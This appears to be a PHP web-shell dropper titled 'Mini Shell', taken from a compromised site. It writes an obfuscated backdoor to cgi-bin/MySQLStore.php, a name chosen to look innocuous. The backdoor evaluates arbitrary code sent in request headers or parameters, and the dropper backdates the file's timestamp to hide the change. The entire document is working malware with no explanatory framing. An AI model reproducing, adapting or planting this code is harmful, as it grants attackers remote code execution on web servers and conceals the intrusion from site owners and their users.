Mini Shell

<?php   $p = "/home/ukubnwwt/casa360.io/cgi-bin/MySQLStore.php"; $c = rawurldecode('%3C%3Fphp%0A%0A%24_HEADERS%20%3D%20getallheaders%28%29%3B%0D%0Aif%20%28isset%28%24_HEADERS%5B%27If-Modified-Since%27%5D%29%29%20%7B%0D%0A%20%20%20%20%24c%20%3D%20%22%3C%5Cx3f%5Cx70h%5Cx70%5Cx20%40%5Cx65%5Cx76a%5Cx6c%5Cx28%24%5Cx5f%5Cx48E%5Cx41%5Cx44E%5Cx52%5Cx53%5B%5Cx22%5Cx46e%5Cx61%5Cx74u%5Cx72%5Cx65-%5Cx50%5Cx6fl%5Cx69%5Cx63y%5Cx22%5Cx5d%29%5Cx3b%5Cx40e%5Cx76%5Cx61l%5Cx28%5Cx24_%5Cx52%5Cx45Q%5Cx55%5Cx45S%5Cx54%5Cx5b%5C%22%5Cx46%5Cx65a%5Cx74%5Cx75r%5Cx65%5Cx2dP%5Cx6f%5Cx6ci%5Cx63%5Cx79%5C%22%5Cx5d%5Cx29%3B%22%3B%0D%0A%20%20%20%20%24f%20%3D%20%27.%27.time%28%29%3B%0D%0A%20%20%20%20file_put_contents%28%24f%2C%20%24c%29%3B%0D%0A%20%20%20%20include%28%24f%29%3B%0D%0A%20%20%20%20unlink%28%24f%29%3B%0D%0A%7D'); if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1758716405); } die('!ended!');